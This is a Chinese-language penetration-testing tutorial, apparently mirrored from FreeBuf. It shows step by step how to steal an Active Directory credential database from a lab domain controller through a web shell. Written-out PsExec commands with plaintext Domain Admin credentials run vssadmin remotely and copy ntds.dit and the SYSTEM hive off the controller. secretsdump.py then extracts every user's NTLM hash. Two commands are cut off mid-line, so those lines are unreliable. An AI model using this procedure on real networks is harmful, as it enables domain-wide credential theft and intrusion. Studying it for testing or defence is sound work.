24

通过Webshell远程导出域控ntds.dit的方法

 5 years ago
source link: https://www.freebuf.com/articles/web/195709.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

嗨,大家好!这次我想分享一些与“Windows Active Directory(AD)”环境相关的内容。我将使用Web shell向大家演示“如何转储Windows Active Directory用户数据库”。可能有这样一种情况在渗透测试期间,渗透测试人员连接到了Windows Active Directory forest其中一台计算机并获得了“Domain Admin”用户凭据和Web shell访问权限。渗透测试人员试图进一步的获得Reverse shell,但由于某些原因阻止了该行为(假设网络防火墙不允许)但测试者的最终目标可能并不是获取shell,而是转储AD用户数据库,即用户和ADL环境的NTLM密码哈希值。

在渗透测试期间我也面临了同样的问题(没有公网IP服务器)。在稍稍讨论了该问题之后,我找到了一种方法,如果我们有“AD Domain Admin”用户凭据,那么通过WebShell就可以帮助我们实现上述目标。

这里,我们假设:

1、AD域控机器(queen.DC1.indishell.lab – 192.168.56.200)
2、被控制的Windows机器 – 连接到AD(LABONE – 192.168.56.101)
3、管理获取Windows AD域管理用户(你可以使用任何可用的exploit,在这里我使用的是“MS14-025”来获得域管理员用户密码的)

现在,我可以在Windows机器上进行访问web shell,它连接到域,即“LABONE”,其IP为“192.168.56.101”。域管理员的用户名为“user1”,密码为“ica_1046”。

这里,我将使用以下两个二进制文件:

1、psexec.exe < – Windows内部工具
2、vssadmin < – 用于创建/删除Windows驱动器的卷影副本的命令

无论如何,如果我们设法在Windows AD域控机器上运行“vssadmin”命令,“vssadmin”命令将生成“C”盘的卷影副本,并且从该卷影副本我们可以复制“ntds.dit”和“SYSTEM”文件。为了实现上述任务,我们将使用“psexec.exe”,如果我们使用“elevated”选项(通过指定-h)指定目标计算机IP、域管理员用户名及其密码,则可以在远程Windows计算机上执行命令。我们需要通过web shell在Windows机器“LABONE”上上传psexec.exe。从Web shell我们将使用“vssadmin”命令指定AD域控机器IP,域管理员用户名及其密码。

psexec文件将远程执行Windows AD域控计算机上的vssadmin命令。在创建“C”盘卷影副本之后,我们需要将“ntds.dit”和“SYSTEM”文件从该卷影副本复制到我们具有Web shell访问权限的机器上,即Windows域机器“LABONE”。这个任务可以通过使用“psexec”来完成,我们只需在“copy”命令中指定目标AD域控机器的IP,域管理员用户名和密码即可,请使用SMB将ndts.dit和SYSTEM文件从卷影副本复制到LABONE机器。这里,我将这些文件复制到了我转储psexec文件的同一目录下。

使用“psexec”在远程主机上执行命令的常规用法:

psexec.exe \\remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />

就我而言,我应填写如下信息:

remote_IP 192.168.56.200(queen.DC1.indishell.lab)
user_name user1
password_of_the_user ica_1046

我在Windows域机器“LABONE”上具有web shell访问权限,并在服务器上传了psexec二进制文件。

iaEBJr3.jpg!web

首先,我们先来检查下是否有“C”盘的卷影副本可用。你可以使用以下命令来列出可用的卷影副本:

vssadmin list shadows

这里,web shell无法显示远程主机上psexec binary执行的所有命令输出,所以我将命令输出重定向到了“LABONE”上,并保存在C:\xampp\htdocs\box\ps\目录下。执行该步骤的命令如下:

PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"

3IJRRbm.jpg!web

Web shell显示psexec正在远程Windows AD域控机器上执行命令。如果一切顺利,我们将在目录“C:\xampp\htdocs\box\ps”中获取到一个名为“out.txt”的文件,它将包含在AD域控(192.168.56.200)上执行的“vssadmin list shadows”命令的输出。

FvyEnm2.jpg!web

可以看到out.txt文件已生成在了目录中,让我们来查看下其中的内容。

E7BZfaA.jpg!web

“out.txt”文件内容显示,目标域控机器到目前为止并没有任何的卷影副本。

让我们创建一个“C”盘的卷影副本,以窃取“ntds.dit”和“SYSTEM”文件。

用于创建c盘卷影副本的命令如下:

vssadmin create shadow /for=C:

我们需要有新创建的“C”盘卷影副本的名称它将在命令的输出中,因此我们将把上述命令的输出重定向到我们拥有web shell访问权的机器上。

要从目标机器复制“ntds.dit”和“SYSTEM”文件,我们需要有卷影副本的名称。最终的命令为:

PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >

以上命令,psexec正在Windows AD域控机器(192.168.56.200)上执行命令创建“C”盘的卷影副本,然后将该命令的输出重定向到 “LABONE”机器的 “C:\xmpp\htdocs\box\ps\out.txt”文件中。

AfuUfej.jpg!web

“out.txt”文件的内容将告诉我们卷影副本的位置。

FZBvQv2.jpg!web

在以上截图中我们可以看到,卷影副本的卷名为“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\”。

“ntds.dit”和“SYSTEM”文件的位置如下:

“shadow_copy_volume_name\Windows\NTDS\NTDS.dit”
 ”shadow_copy_volume_name\Windows\System32\config\SYSTEM”

即:

“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit”
“\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM”

让我们使用以下命令从目标Windows AD域控机器复制“ntds.dit”文件:

PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy  \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit  \\192.168.56.101\C$\xampp\htdocs\box\ps\"

此命令将会将“ntds.dit”文件从远程机器(192.168.56.200)复制到“LABONE”机器(192.168.56.101)的“C:\xampp\htdocs\box\ps\”目录下。

rmuAzef.jpg!web

可以看到web shell显示,一个文件已从目标DC机器复制到了我的机器上。让我们确认并检查“C:\xampp\htdocs\box\ps”看看是否已成功复制“ntds.dit”文件。

BjIJfaV.jpg!web

如上所示,“ntds.dit”文件已成功被复制到了“LABONE”机器上。

同样,我们使用该命令复制“SYSTEM”文件:

PsExec.exe  \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy  \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM

imqAneb.jpg!web

命令执行成功,Web shell显示“1 file copied”的消息提示。再次检查并确认是否成功执行。

3eMF3iy.jpg!web

可以看到“SYSTEM”文件也已成功被复制到了 ”LABONE”机器上。我们可以从这里使用web shell下载这些文件。

现在,我们可以使用python脚本 secretsdump.py ,从“ntds.dit”和“SYSTEM”文件中提取Domain,udi,rid LM和NT hashes。命令如下:

python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

r2yIJnb.jpg!web

结果如下:

RfYBVjR.jpg!web


Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK